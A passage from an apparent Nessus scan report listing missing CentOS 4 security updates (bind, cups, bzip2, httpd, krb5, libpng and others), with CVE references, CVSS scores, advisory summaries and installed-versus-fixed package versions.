CVSS v2.0 Temporal Score

3.7 (CVSS2#E:U/RL:OF/RC:C)

References

BID	34692
CVE	CVE-2009-0798
XREF	RHSA:2009:0474
XREF	CWE:399

Plugin Information

Published: 2009/05/26, Modified: 2021/01/04

Plugin Output

tcp/0

```
Remote package installed : acpid-1.0.3-2
Should be : acpid-1.0.3-2.el4_7.1
```

25778 - CentOS 3 / 4 / 5 : bind (CESA-2007:0740)

Synopsis

The remote CentOS host is missing one or more security updates.

Description

Updated bind packages that fix a security issue are now available.

This update has been rated as having moderate security impact by the Red Hat Security Response Team.

ISC BIND (Berkeley Internet Name Domain) is an implementation of the DNS (Domain Name System) protocols.

A flaw was found in the way BIND generates outbound DNS query ids. If an attacker is able to acquire a finite set of query IDs, it becomes possible to accurately predict future query IDs. Future query ID prediction may allow an attacker to conduct a DNS cache poisoning attack, which can result in the DNS server returning incorrect client query data. (CVE-2007-2926)

Users of BIND are advised to upgrade to these updated packages, which contain backported patches to correct this issue.

See Also

<http://www.nessus.org/u?540b9401>
<http://www.nessus.org/u?0b847f63>
<http://www.nessus.org/u?cc652c10>
<http://www.nessus.org/u?56be2726>
<http://www.nessus.org/u?29385fec>
<http://www.nessus.org/u?ac7be649>
<http://www.nessus.org/u?73f3de8b>
<http://www.nessus.org/u?5e36de79>

Solution

Update the affected bind packages.

Risk Factor

Medium

CVSS v2.0 Base Score

4.3 (CVSS2#AV:N/AC:M/Au:N/C:N/I:P/A:N)

CVSS v2.0 Temporal Score

3.4 (CVSS2#E:POC/RL:OF/RC:C)

References

BID	25037
CVE	CVE-2007-2926
XREF	RHSA:2007:0740

Plugin Information

Published: 2007/07/27, Modified: 2021/01/04

Plugin Output

tcp/0

```
Remote package installed : bind-libs-9.2.4-24.EL4
Should be : bind-libs-9.2.4-27.0.1.el4
```

```
Remote package installed : bind-utils-9.2.4-24.EL4
Should be : bind-utils-9.2.4-27.0.1.el4
```

35589 - CentOS 3 / 4 / 5 : bind (CESA-2009:0020)

Synopsis

The remote CentOS host is missing one or more security updates.

Description

Updated Bind packages to correct a security issue are now available for Red Hat Enterprise Linux 2.1, 3, 4, and 5.

This update has been rated as having moderate security impact by the Red Hat Security Response Team.

BIND (Berkeley Internet Name Domain) is an implementation of the DNS (Domain Name System) protocols.

A flaw was discovered in the way BIND checked the return value of the OpenSSL DSA_do_verify function. On systems using DNSSEC, a malicious zone could present a malformed DSA certificate and bypass proper certificate validation, allowing spoofing attacks. (CVE-2009-0025)

For users of Red Hat Enterprise Linux 3 this update also addresses a bug which can cause BIND to occasionally exit with an assertion failure.

All BIND users are advised to upgrade to the updated package, which contains a backported patch to resolve this issue. After installing the update, BIND daemon will be restarted automatically.

See Also

<http://www.nessus.org/u?7c51a33c>
<http://www.nessus.org/u?9caf8ad4>
<http://www.nessus.org/u?7b980532>
<http://www.nessus.org/u?4529c1ca>
<http://www.nessus.org/u?0ce14458>

<http://www.nessus.org/u?4482a8b0>
<http://www.nessus.org/u?baa9fda1>
<http://www.nessus.org/u?7076ada0>

Solution

Update the affected bind packages.

Risk Factor

Medium

CVSS v2.0 Base Score

6.8 (CVSS2#AV:N/AC:M/Au:N/C:P/I:P/A:P)

CVSS v2.0 Temporal Score

5.0 (CVSS2#E:U/RL:OF/RC:C)

References

BID	33151
CVE	CVE-2008-5077
CVE	CVE-2009-0021
CVE	CVE-2009-0025
CVE	CVE-2009-0046
CVE	CVE-2009-0047
CVE	CVE-2009-0048
CVE	CVE-2009-0049
CVE	CVE-2009-0124
CVE	CVE-2009-0125
CVE	CVE-2009-0127
CVE	CVE-2009-0128
CVE	CVE-2009-0130
XREF	RHSA:2009:0020
XREF	CWE:20
XREF	CWE:287

Plugin Information

Published: 2009/02/05, Modified: 2021/01/04

Plugin Output

tcp/0

```
Remote package installed : bind-libs-9.2.4-24.EL4
Should be : bind-libs-9.2.4-30.el4_7.1
```

```
Remote package installed : bind-utils-9.2.4-24.EL4
Should be : bind-utils-9.2.4-30.el4_7.1
```

33448 - CentOS 3 / 4 / 5 : bind / selinux-policy (CESA-2008:0533)

Synopsis

The remote CentOS host is missing one or more security updates.

Description

Updated bind packages that help mitigate DNS spoofing attacks are now available.

This update has been rated as having important security impact by the Red Hat Security Response Team.

[Updated 10th July 2008] We have updated the Enterprise Linux 5 packages in this advisory. The default and sample caching-nameserver configuration files have been updated so that they do not specify a fixed query-source port. Administrators wishing to take advantage of randomized UDP source ports should check their configuration file to ensure they have not specified fixed query-source ports.

ISC BIND (Berkeley Internet Name Domain) is an implementation of the DNS (Domain Name System) protocols.

The DNS protocol protects against spoofing attacks by requiring an attacker to predict both the DNS transaction ID and UDP source port of a request. In recent years, a number of papers have found problems with DNS implementations which make it easier for an attacker to perform DNS cache-poisoning attacks.

Previous versions of BIND did not use randomized UDP source ports. If an attacker was able to predict the random DNS transaction ID, this could make DNS cache-poisoning attacks easier. In order to provide more resilience, BIND has been updated to use a range of random UDP source ports. (CVE-2008-1447)

Note: This errata also updates SELinux policy on Red Hat Enterprise Linux 4 and 5 to allow BIND to use random UDP source ports.

Users of BIND are advised to upgrade to these updated packages, which contain a backported patch to add this functionality.

Red Hat would like to thank Dan Kaminsky for reporting this issue.

See Also

<http://www.nessus.org/u?c90bb469>
<http://www.nessus.org/u?729e354b>
<http://www.nessus.org/u?b44a91e2>
<http://www.nessus.org/u?d9c86c35>
<http://www.nessus.org/u?8f7b07d0>
<http://www.nessus.org/u?f553191a>
<http://www.nessus.org/u?9cd93534>
<http://www.nessus.org/u?be1cde6c>
<http://www.nessus.org/u?86c96ccd>

Solution

Update the affected bind and / or selinux-policy packages.

Risk Factor

Medium

CVSS v2.0 Base Score

5.0 (CVSS2#AV:N/AC:L/Au:N/C:N/I:P/A:N)

CVSS v2.0 Temporal Score

3.9 (CVSS2#E:POC/RL:OF/RC:C)

STIG Severity

I

References

BID	30131
CVE	CVE-2008-1447
XREF	RHSA:2008:0533
XREF	IAVA:2008-A-0045

Plugin Information

Published: 2008/07/10, Modified: 2021/01/04

Plugin Output

tcp/0

```
Remote package installed : bind-libs-9.2.4-24.EL4
Should be : bind-libs-9.2.4-28.0.1.el4

Remote package installed : bind-utils-9.2.4-24.EL4
Should be : bind-utils-9.2.4-28.0.1.el4

Remote package installed : selinux-policy-targeted-1.17.30-2.145
Should be : selinux-policy-targeted-1.17.30-2.150.el4
```

34222 - CentOS 3 / 4 / 5 : bzip2 (CESA-2008:0893)

Synopsis

The remote CentOS host is missing one or more security updates.

Description

Updated bzip2 packages that fix a security issue are now available for Red Hat Enterprise Linux 2.1, 3, 4, and 5.

This update has been rated as having moderate security impact by the Red Hat Security Response Team.

Bzip2 is a freely available, high-quality data compressor. It provides both stand-alone compression and decompression utilities, as well as a shared library for use with other programs.

A buffer over-read flaw was discovered in the bzip2 decompression routine. This issue could cause an application linked against the libbz2 library to crash when decompressing malformed archives.

(CVE-2008-1372)

Users of bzip2 should upgrade to these updated packages, which contain a backported patch to resolve this issue.

See Also

<http://www.nessus.org/u?21ee8db8>
<http://www.nessus.org/u?a6c77cd5>
<http://www.nessus.org/u?cd4d2bd0>
<http://www.nessus.org/u?d6e63dd1>
<http://www.nessus.org/u?cd86536c>
<http://www.nessus.org/u?7a7a7a22>
<http://www.nessus.org/u?7671a1be>
<http://www.nessus.org/u?7943e8b1>

Solution

Update the affected bzip2 packages.

Risk Factor

Medium

CVSS v2.0 Base Score

4.3 (CVSS2#AV:N/AC:M/Au:N/C:N/I:N/A:P)

References

CVE	CVE-2008-1372
XREF	RHSAs:2008:0893
XREF	CWE:119

Plugin Information

Published: 2008/09/17, Modified: 2021/01/04

Plugin Output

tcp/0

```
Remote package installed : bzip2-1.0.2-13.EL4.3
Should be : bzip2-1.0.2-14.el4_7
```

```
Remote package installed : bzip2-devel-1.0.2-13.EL4.3
Should be : bzip2-devel-1.0.2-14.el4_7
```

```
Remote package installed : bzip2-libs-1.0.2-13.EL4.3
Should be : bzip2-libs-1.0.2-14.el4_7
```

49633 - CentOS 3 / 4 / 5 : bzip2 (CESA-2010:0703)

Synopsis

The remote CentOS host is missing one or more security updates.

Description

Updated bzip2 packages that fix one security issue are now available for Red Hat Enterprise Linux 3, 4, and 5.

The Red Hat Security Response Team has rated this update as having important security impact. A Common Vulnerability Scoring System (CVSS) base score, which gives a detailed severity rating, is available from the CVE link in the References section.

bzip2 is a freely available, high-quality data compressor. It provides both standalone compression and decompression utilities, as well as a shared library for use with other programs.

An integer overflow flaw was discovered in the bzip2 decompression routine. This issue could, when decompressing malformed archives, cause bzip2, or an application linked against the libbz2 library, to crash or, potentially, execute arbitrary code. (CVE-2010-0405)

Users of bzip2 should upgrade to these updated packages, which contain a backported patch to resolve this issue. All running applications using the libbz2 library must be restarted for the update to take effect.

See Also

<http://www.nessus.org/u?768a8c4e>
<http://www.nessus.org/u?6c1e9ea5>
<http://www.nessus.org/u?2f59f81e>

<http://www.nessus.org/u?13050110>
<http://www.nessus.org/u?782dcc52>
<http://www.nessus.org/u?b78e3d5c>

Solution

Update the affected bzip2 packages.

Risk Factor

Medium

CVSS v2.0 Base Score

5.1 (CVSS2#AV:N/AC:H/Au:N/C:P/I:P/A:P)

CVSS v2.0 Temporal Score

3.8 (CVSS2#E:U/RL:OF/RC:C)

STIG Severity

II

References

BID	43331
CVE	CVE-2010-0405
XREF	RHSA:2010:0703
XREF	IAVB:2010-B-0083

Plugin Information

Published: 2010/09/22, Modified: 2021/01/04

Plugin Output

tcp/0

```
Remote package installed : bzip2-1.0.2-13.EL4.3
Should be : bzip2-1.0.2-16.el4_8
```

```
Remote package installed : bzip2-devel-1.0.2-13.EL4.3
Should be : bzip2-devel-1.0.2-16.el4_8
```

```
Remote package installed : bzip2-libs-1.0.2-13.EL4.3
Should be : bzip2-libs-1.0.2-16.el4_8
```

25812 - CentOS 3 / 4 / 5 : cups (CESA-2007:0720)

Synopsis

The remote CentOS host is missing one or more security updates.

Description

Updated CUPS packages that fix a security issue in PDF handling are now available for Red Hat Enterprise Linux 3, 4, and 5.

This update has been rated as having important security impact by the Red Hat Security Response Team.

The Common UNIX Printing System (CUPS) provides a portable printing layer for UNIX(R) operating systems.

Maurycy Prodeus discovered an integer overflow flaw in the way CUPS processes PDF files. An attacker could create a malicious PDF file that could potentially execute arbitrary code when printed.

(CVE-2007-3387)

All users of CUPS should upgrade to these updated packages, which contain a backported patch to resolve this issue.

See Also

<http://www.nessus.org/u?a74acd85>
<http://www.nessus.org/u?651a5956>
<http://www.nessus.org/u?f032f97a>
<http://www.nessus.org/u?a36c6d1d>
<http://www.nessus.org/u?b2b94ccb>
<http://www.nessus.org/u?fc534c0c>
<http://www.nessus.org/u?2bdac9ed>
<http://www.nessus.org/u?50378ba1>

Solution

Update the affected cups packages.

Risk Factor

Medium

CVSS v2.0 Base Score

6.8 (CVSS2#AV:N/AC:M/Au:N/C:P/I:P/A:P)

CVSS v2.0 Temporal Score

5.6 (CVSS2#E:F/RL:OF/RC:C)

References

BID	25124
CVE	CVE-2007-3387
XREF	RHSA:2007:0720
XREF	CWE:189

Exploitable With

Core Impact (true)

Plugin Information

Published: 2007/07/31, Modified: 2021/01/04

Plugin Output

tcp/0

```
Remote package installed : cups-1.1.22-0.rc1.9.20
Should be : cups-1.1.22-0.rc1.9.20.2
```

```
Remote package installed : cups-libs-1.1.22-0.rc1.9.20
Should be : cups-libs-1.1.22-0.rc1.9.20.2
```

33109 - CentOS 3 / 4 / 5 : cups (CESA-2008:0498)

Synopsis

The remote CentOS host is missing one or more security updates.

Description

Updated cups packages that fix a security issue are now available for Red Hat Enterprise Linux 3, Red Hat Enterprise Linux 4, and Red Hat Enterprise Linux 5.

This update has been rated as having moderate security impact by the Red Hat Security Response Team.

The Common UNIX Printing System (CUPS) provides a portable printing layer for UNIX operating systems.

An integer overflow flaw leading to a heap buffer overflow was discovered in the Portable Network Graphics (PNG) decoding routines used by the CUPS image converting filters 'imagetops' and 'imageraster'. An attacker could create a malicious PNG file that could possibly execute arbitrary code as the 'lp' user if the file was printed. (CVE-2008-1722)

All CUPS users are advised to upgrade to these updated packages, which contain backported patch to resolve this issue.

See Also

<http://www.nessus.org/u?bf15f309>
<http://www.nessus.org/u?de5fac44>
<http://www.nessus.org/u?a5811fde>
<http://www.nessus.org/u?3ea9f508>
<http://www.nessus.org/u?8db171ce>
<http://www.nessus.org/u?c827e2c6>
<http://www.nessus.org/u?6d3ff6d7>
<http://www.nessus.org/u?84602151>

Solution

Update the affected cups packages.

Risk Factor

Medium

CVSS v2.0 Base Score

4.3 (CVSS2#AV:N/AC:M/Au:N/C:N/I:N/A:P)

CVSS v2.0 Temporal Score

3.2 (CVSS2#E:U/RL:OF/RC:C)

References

BID	28781
CVE	CVE-2008-1722
XREF	RHSA:2008:0498
XREF	CWE:20

Plugin Information

Published: 2008/06/09, Modified: 2021/01/04

Plugin Output

tcp/0

```
Remote package installed : cups-1.1.22-0.rc1.9.20
Should be : cups-1.1.22-0.rc1.9.20.2.el4_6.8
```

```
Remote package installed : cups-libs-1.1.22-0.rc1.9.20
Should be : cups-libs-1.1.22-0.rc1.9.20.2.el4_6.8
```

47102 - CentOS 3 / 4 / 5 : cups (CESA-2010:0490)

Synopsis

The remote CentOS host is missing one or more security updates.

Description

Updated cups packages that fix three security issues are now available for Red Hat Enterprise Linux 3, 4, and 5.

The Red Hat Security Response Team has rated this update as having important security impact. Common Vulnerability Scoring System (CVSS) base scores, which give detailed severity ratings, are available for each vulnerability from the CVE links in the References section.

The Common UNIX Printing System (CUPS) provides a portable printing layer for UNIX operating systems. The CUPS 'texttops' filter converts text files to PostScript.

A missing memory allocation failure check flaw, leading to a NULL pointer dereference, was found in the CUPS 'texttops' filter. An attacker could create a malicious text file that would cause 'texttops' to crash or, potentially, execute arbitrary code as the 'lp' user if the file was printed. (CVE-2010-0542)

A Cross-Site Request Forgery (CSRF) issue was found in the CUPS web interface. If a remote attacker could trick a user, who is logged into the CUPS web interface as an administrator, into visiting a specially crafted website, the attacker could reconfigure and disable CUPS, and gain access to print jobs and system files. (CVE-2010-0540)

Note: As a result of the fix for CVE-2010-0540, cookies must now be enabled in your web browser to use the CUPS web interface.

An uninitialized memory read issue was found in the CUPS web interface. If an attacker had access to the CUPS web interface, they could use a specially crafted URL to leverage this flaw to read a limited amount of memory from the cupsd process, possibly obtaining sensitive information. (CVE-2010-1748)

Red Hat would like to thank the Apple Product Security team for responsibly reporting these issues. Upstream acknowledges regenrech as the original reporter of CVE-2010-0542; Adrian 'pagvac' Pastor of GNUCITIZEN and Tim Starling as the original reporters of CVE-2010-0540; and Luca Caretoni as the original reporter of CVE-2010-1748.

Users of cups are advised to upgrade to these updated packages, which contain backported patches to correct these issues. After installing this update, the cupsd daemon will be restarted automatically.

See Also

<http://www.nessus.org/u?a02201d3>
<http://www.nessus.org/u?f8b7ca93>
<http://www.nessus.org/u?93fd5b0d>
<http://www.nessus.org/u?1986c961>
<http://www.nessus.org/u?c6a4df36>
<http://www.nessus.org/u?9eff0369>

Solution

Update the affected cups packages.

Risk Factor

Medium

CVSS v2.0 Base Score

6.8 (CVSS2#AV:N/AC:M/Au:N/C:P/I:P/A:P)

CVSS v2.0 Temporal Score

5.6 (CVSS2#E:F/RL:OF/RC:C)

References

BID	40889
BID	40897
CVE	CVE-2010-0540
CVE	CVE-2010-0542
CVE	CVE-2010-1748
XREF	RHSA:2010:0490

Plugin Information

Published: 2010/06/21, Modified: 2021/01/04

Plugin Output

tcp/0

```
Remote package installed : cups-1.1.22-0.rc1.9.20
Should be : cups-1.1.22-0.rc1.9.32.el4.6
```

```
Remote package installed : cups-libsl-1.1.22-0.rc1.9.20
Should be : cups-libsl-1.1.22-0.rc1.9.32.el4.6
```

29901 - CentOS 3 / 4 / 5 : e2fsprogs (CESA-2008:0003)

Synopsis

The remote CentOS host is missing one or more security updates.

Description

Updated e2fsprogs packages that fix several security issues are now available for Red Hat Enterprise Linux.

This update has been rated as having moderate security impact by the Red Hat Security Response Team.

The e2fsprogs packages contain a number of utilities for creating, checking, modifying, and correcting any inconsistencies in second and third extended (ext2/ext3) file systems.

Multiple integer overflow flaws were found in the way e2fsprogs processes file system content. If a victim opens a carefully crafted file system with a program using e2fsprogs, it may be possible to execute arbitrary code with the permissions of the victim. It may be possible to leverage this flaw in a virtualized environment to gain access to other virtualized hosts. (CVE-2007-5497)

Red Hat would like to thank Rafal Wojtczuk of McAfee Avert Research for responsibly disclosing these issues.

Users of e2fsprogs are advised to upgrade to these updated packages, which contain a backported patch to resolve these issues.

See Also

<http://www.nessus.org/u?1459a36c>
<http://www.nessus.org/u?bd1787a1>
<http://www.nessus.org/u?2287524a0>
<http://www.nessus.org/u?7d4e1be8>
<http://www.nessus.org/u?3e3175e4>
<http://www.nessus.org/u?66fcedd5>
<http://www.nessus.org/u?d5f86cee>
<http://www.nessus.org/u?d8be2172>

Solution

Update the affected e2fsprogs packages.

Risk Factor

Medium

CVSS v2.0 Base Score

5.8 (CVSS2#AV:N/AC:M/Au:N/C:P/I:P/A:N)

CVSS v2.0 Temporal Score

4.3 (CVSS2#E:U/RL:OF/RC:C)

References

BID	26772
CVE	CVE-2007-5497
XREF	RHSA:2008:0003
XREF	CWE:189

Plugin Information

Published: 2008/01/10, Modified: 2021/01/04

Plugin Output

tcp/0

```
Remote package installed : e2fsprogs-1.35-12.5.el4
Should be : e2fsprogs-1.35-12.11.el4_6.1
```

```
Remote package installed : e2fsprogs-devel-1.35-12.5.el4
Should be : e2fsprogs-devel-1.35-12.11.el4_6.1
```

43031 - CentOS 3 / 4 / 5 : expat (CESA-2009:1625)**Synopsis**

The remote CentOS host is missing one or more security updates.

Description

Updated expat packages that fix two security issues are now available for Red Hat Enterprise Linux 3, 4, and 5.

This update has been rated as having moderate security impact by the Red Hat Security Response Team.

Expat is a C library written by James Clark for parsing XML documents.

Two buffer over-read flaws were found in the way Expat handled malformed UTF-8 sequences when processing XML files. A specially crafted XML file could cause applications using Expat to crash while parsing the file. (CVE-2009-3560, CVE-2009-3720)

All expat users should upgrade to these updated packages, which contain backported patches to correct these issues. After installing the updated packages, applications using the Expat library must be restarted for the update to take effect.

See Also

<http://www.nessus.org/u?8744f312>
<http://www.nessus.org/u?68ed2b40>
<http://www.nessus.org/u?24c09d77>
<http://www.nessus.org/u?bb67ae23>
<http://www.nessus.org/u?701b2631>
<http://www.nessus.org/u?16f3af29>

Solution

Update the affected expat packages.

Risk Factor

Medium

CVSS v2.0 Base Score

5.0 (CVSS2#AV:N/AC:L/Au:N/C:N/I:N/A:P)

CVSS v2.0 Temporal Score

3.7 (CVSS2#E:U/RL:OF/RC:C)

References

BID	36097
-----	-----------------------

BID	37203
CVE	CVE-2009-3560
CVE	CVE-2009-3720
XREF	RHSA:2009:1625
XREF	CWE:119

Plugin Information

Published: 2009/12/08, Modified: 2021/01/04

Plugin Output

tcp/0

```
Remote package installed : expat-1.95.7-4
Should be : expat-1.95.7-4.e14_8.2
```

```
Remote package installed : expat-devel-1.95.7-4
Should be : expat-devel-1.95.7-4.e14_8.2
```

44027 - CentOS 3 / 4 / 5 : gcc / gcc4 (CESA-2010:0039)

Synopsis

The remote CentOS host is missing one or more security updates.

Description

Updated gcc and gcc4 packages that fix one security issue are now available for Red Hat Enterprise Linux 3, 4, and 5.

This update has been rated as having moderate security impact by the Red Hat Security Response Team.

The gcc and gcc4 packages include, among others, C, C++, and Java GNU compilers and related support libraries. libgcj contains a copy of GNU Libtool's libltdl library.

A flaw was found in the way GNU Libtool's libltdl library looked for libraries to load. It was possible for libltdl to load a malicious library from the current working directory. In certain configurations, if a local attacker is able to trick a local user into running a Java application (which uses a function to load native libraries, such as System.loadLibrary) from within an attacker-controlled directory containing a malicious library or module, the attacker could possibly execute arbitrary code with the privileges of the user running the Java application. (CVE-2009-3736)

All gcc and gcc4 users should upgrade to these updated packages, which contain a backported patch to correct this issue. All running Java applications using libgcj must be restarted for this update to take effect.

See Also

<http://www.nessus.org/u?5169e0d9>
<http://www.nessus.org/u?9dfe4767>
<http://www.nessus.org/u?8a27e07e>
<http://www.nessus.org/u?c67af7bf>
<http://www.nessus.org/u?1304df07>
<http://www.nessus.org/u?9a0118e6>

Solution

Update the affected gcc and / or gcc4 packages.

Risk Factor

Medium

CVSS v2.0 Base Score

6.9 (CVSS2#AV:L/AC:M/Au:N/C:C/I:C/A:C)

CVSS v2.0 Temporal Score

5.1 (CVSS2#E:U/RL:OF/RC:C)

References

BID	37128
CVE	CVE-2009-3736
XREF	RHSA:2010:0039

Plugin Information

Published: 2010/01/15, Modified: 2021/01/04

Plugin Output

tcp/0

```

Remote package installed : cpp-3.4.6-8
Should be : cpp-3.4.6-11.el4_8.1

Remote package installed : gcc-3.4.6-8
Should be : gcc-3.4.6-11.el4_8.1

Remote package installed : gcc-c++-3.4.6-8
Should be : gcc-c++-3.4.6-11.el4_8.1

Remote package installed : gcc-g77-3.4.6-8
Should be : gcc-g77-3.4.6-11.el4_8.1

Remote package installed : gcc-java-3.4.6-8
Should be : gcc-java-3.4.6-11.el4_8.1

Remote package installed : libf2c-3.4.6-8
Should be : libf2c-3.4.6-11.el4_8.1

Remote package installed : libgcc-3.4.6-8
Should be : libgcc-3.4.6-11.el4_8.1

Remote package installed : libgcj-3.4.6-8
Should be : libgcj-3.4.6-11.el4_8.1

Remote package installed : libgcj-devel-3.4.6-8
Should be : libgcj-devel-3.4.6-11.el4_8.1

Remote package installed : libstdc++-3.4.6-8
Should be : libstdc++-3.4.6-11.el4_8.1

Remote package installed : libstdc++-devel-3.4.6-8
Should be : libstdc++-devel-3.4.6-11.el4_8.1

```

44098 - CentOS 3 / 4 / 5 : gzip (CESA-2010:0061)

Synopsis

The remote CentOS host is missing a security update.

Description

An updated gzip package that fixes one security issue is now available for Red Hat Enterprise Linux 3, 4, and 5.

This update has been rated as having moderate security impact by the Red Hat Security Response Team.

The gzip package provides the GNU gzip data compression program.

An integer underflow flaw, leading to an array index error, was found in the way gzip expanded archive files compressed with the Lempel-Ziv-Welch (LZW) compression algorithm. If a victim expanded a specially crafted archive, it could cause gzip to crash or, potentially, execute arbitrary code with the privileges of the user running gzip. This flaw only affects 64-bit systems. (CVE-2010-0001)

Red Hat would like to thank Aki Helin of the Oulu University Secure Programming Group for responsibly reporting this flaw.

Users of gzip should upgrade to this updated package, which contains a backported patch to correct this issue.

See Also

<http://www.nessus.org/u?63effc6f>
<http://www.nessus.org/u?ab320344>
<http://www.nessus.org/u?bcf81905>
<http://www.nessus.org/u?d0a36b43>
<http://www.nessus.org/u?b10a3ea8>
<http://www.nessus.org/u?fea184fe>

Solution

Update the affected gzip package.

Risk Factor

Medium

CVSS v2.0 Base Score

6.8 (CVSS2#AV:N/AC:M/Au:N/C:P/I:P/A:P)

CVSS v2.0 Temporal Score

5.0 (CVSS2#E:U/RL:OF/RC:C)

References

CVE	CVE-2010-0001
XREF	RHSA:2010:0061
XREF	CWE:189

Plugin Information

Published: 2010/01/21, Modified: 2021/01/04

Plugin Output

tcp/0

```
Remote package installed : gzip-1.3.3-16.rhel4
Should be : gzip-1.3.3-18.el4_8.1
```

37062 - CentOS 3 / 4 / 5 : httpd (CESA-2008:0967)

Synopsis

The remote CentOS host is missing one or more security updates.

Description

Updated httpd packages that resolve several security issues and fix a bug are now available for Red Hat Enterprise Linux 3, 4 and 5.

This update has been rated as having moderate security impact by the Red Hat Security Response Team.

The Apache HTTP Server is a popular Web server.

A flaw was found in the mod_proxy Apache module. An attacker in control of a Web server to which requests were being proxied could have caused a limited denial of service due to CPU consumption and stack exhaustion. (CVE-2008-2364)

A flaw was found in the mod_proxy_ftp Apache module. If Apache was configured to support FTP-over-HTTP proxying, a remote attacker could have performed a cross-site scripting attack. (CVE-2008-2939)

In addition, these updated packages fix a bug found in the handling of the 'ProxyRemoteMatch' directive in the Red Hat Enterprise Linux 4 httpd packages. This bug is not present in the Red Hat Enterprise Linux 3 or Red Hat Enterprise Linux 5 packages.

Users of httpd should upgrade to these updated packages, which contain backported patches to correct these issues.

See Also

<http://www.nessus.org/u?cf4faef4>
<http://www.nessus.org/u?c5584c31>
<http://www.nessus.org/u?c5c64772>
<http://www.nessus.org/u?300b95f6>
<http://www.nessus.org/u?1b4b12b1>
<http://www.nessus.org/u?ac57a22a>
<http://www.nessus.org/u?01627d34>
<http://www.nessus.org/u?dcfed5a6>

Solution

Update the affected httpd packages.

Risk Factor

Medium

CVSS v2.0 Base Score

5.0 (CVSS2#AV:N/AC:L/Au:N/C:N/I:N/A:P)

CVSS v2.0 Temporal Score

4.3 (CVSS2#E:ND/RL:OF/RC:C)

References

BID	29653
BID	30560
CVE	CVE-2008-2364
CVE	CVE-2008-2939

XREF RHSA:2008:0967
XREF CWE:79
XREF CVE:399

Plugin Information

Published: 2009/04/23, Modified: 2021/01/04

Plugin Output

tcp/0

```
Remote package installed : httpd-2.0.52-32.ent.centos4
Should be : httpd-2.0.52-41.ent.2.centos4

Remote package installed : httpd-manual-2.0.52-32.ent.centos4
Should be : httpd-manual-2.0.52-41.ent.2.centos4

Remote package installed : httpd-suexec-2.0.52-32.ent.centos4
Should be : httpd-suexec-2.0.52-41.ent.2.centos4

Remote package installed : mod_ssl-2.0.52-32.ent.centos4
Should be : mod_ssl-2.0.52-41.ent.2.centos4
```

46694 - CentOS 3 / 4 / 5 : krb5 (CESA-2010:0423)

Synopsis

The remote CentOS host is missing one or more security updates.

Description

Updated krb5 packages that fix one security issue are now available for Red Hat Enterprise Linux 3, 4, and 5.

The Red Hat Security Response Team has rated this update as having important security impact. A Common Vulnerability Scoring System (CVSS) base score, which gives a detailed severity rating, is available from the CVE link in the References section.

Kerberos is a network authentication system which allows clients and servers to authenticate to each other using symmetric encryption and a trusted third party, the Key Distribution Center (KDC).

A NULL pointer dereference flaw was discovered in the MIT Kerberos Generic Security Service Application Program Interface (GSS-API) library. A remote, authenticated attacker could use this flaw to crash any server application using the GSS-API authentication mechanism, by sending a specially crafted GSS-API token with a missing checksum field. (CVE-2010-1321)

Red Hat would like to thank the MIT Kerberos Team for responsibly reporting this issue. Upstream acknowledges Shawn Emery of Oracle as the original reporter.

All krb5 users should upgrade to these updated packages, which contain a backported patch to correct this issue. All running services using the MIT Kerberos libraries must be restarted for the update to take effect.

See Also

<http://www.nessus.org/u?71282979>
<http://www.nessus.org/u?5479f784>
<http://www.nessus.org/u?0e3ee91d>
<http://www.nessus.org/u?4a3b57ed>
<http://www.nessus.org/u?0ee6fc14>
<http://www.nessus.org/u?52c1f3d5>

Solution

Update the affected krb5 packages.

Risk Factor

Medium

CVSS v2.0 Base Score

6.8 (CVSS2#AV:N/AC:L/Au:S/C:N/I:N/A:C)

CVSS v2.0 Temporal Score

5.0 (CVSS2#E:U/RL:OF/RC:C)

References

BID 40235
CVE CVE-2010-1321

Plugin Information

Published: 2010/05/24, Modified: 2021/01/04

Plugin Output

tcp/0

Remote package installed : krb5-devel-1.3.4-47
Should be : krb5-devel-1.3.4-62.el4_8.2

Remote package installed : krb5-libs-1.3.4-47
Should be : krb5-libs-1.3.4-62.el4_8.2

Remote package installed : krb5-workstation-1.3.4-47
Should be : krb5-workstation-1.3.4-62.el4_8.2

25256 - CentOS 3 / 4 / 5 : libpng (CESA-2007:0356)

Synopsis

The remote CentOS host is missing one or more security updates.

Description

Updated libpng packages that fix security issues are now available for Red Hat Enterprise Linux.

This update has been rated as having moderate security impact by the Red Hat Security Response Team.

The libpng package contains a library of functions for creating and manipulating PNG (Portable Network Graphics) image format files.

A flaw was found in the handling of malformed images in libpng. An attacker could create a carefully crafted PNG image file in such a way that it could cause an application linked with libpng to crash when the file was manipulated. (CVE-2007-2445)

A flaw was found in the sPLT chunk handling code in libpng. An attacker could create a carefully crafted PNG image file in such a way that it could cause an application linked with libpng to crash when the file was opened. (CVE-2006-5793)

Users of libpng should update to these updated packages which contain backported patches to correct these issues.

Red Hat would like to thank Glenn Randers-Pehrson, Mats Palmgren, and Tavis Ormandy for supplying details and patches for these issues.

See Also

<http://www.nessus.org/u?12a7bcd>
<http://www.nessus.org/u?74d827b4>
<http://www.nessus.org/u?3f5ac9bd>
<http://www.nessus.org/u?e4242787>
<http://www.nessus.org/u?929c7680>
<http://www.nessus.org/u?c8b20877>
<http://www.nessus.org/u?7e83b1a7>
<http://www.nessus.org/u?bb8a6900>

Solution

Update the affected libpng packages.

Risk Factor

Medium

CVSS v2.0 Base Score

5.0 (CVSS2#AV:N/AC:L/Au:N/C:N/I:N/A:P)

CVSS v2.0 Temporal Score

3.7 (CVSS2#E:U/RL:OF/RC:C)

References

BID	21078
CVE	CVE-2006-5793
CVE	CVE-2007-2445
XREF	RHSA:2007:0356

Plugin Information

Published: 2007/05/20, Modified: 2021/01/04

Plugin Output

tcp/0

```
Remote package installed : libpng-1.2.7-1.el4.2
Should be : libpng-1.2.7-3.el4
```

27543 - CentOS 3 / 4 / 5 : libpng (CESA-2007:0992)

Synopsis

The remote CentOS host is missing one or more security updates.

Description

Updated libpng packages that fix security issues are now available for Red Hat Enterprise Linux.

This update has been rated as having moderate security impact by the Red Hat Security Response Team.

The libpng package contains a library of functions for creating and manipulating PNG (Portable Network Graphics) image format files.

Several flaws were discovered in the way libpng handled various PNG image chunks. An attacker could create a carefully crafted PNG image file in such a way that it could cause an application linked with libpng to crash when the file was manipulated. (CVE-2007-5269)

Users should update to these updated packages which contain a backported patch to correct these issues.

See Also

<http://www.nessus.org/u?93d0a035>
<http://www.nessus.org/u?d1f89bee>
<http://www.nessus.org/u?64a591d1>
<http://www.nessus.org/u?530d4601>
<http://www.nessus.org/u?cea57d58>
<http://www.nessus.org/u?2459e5dc>
<http://www.nessus.org/u?41ceafe9>
<http://www.nessus.org/u?a833d9a8>

Solution

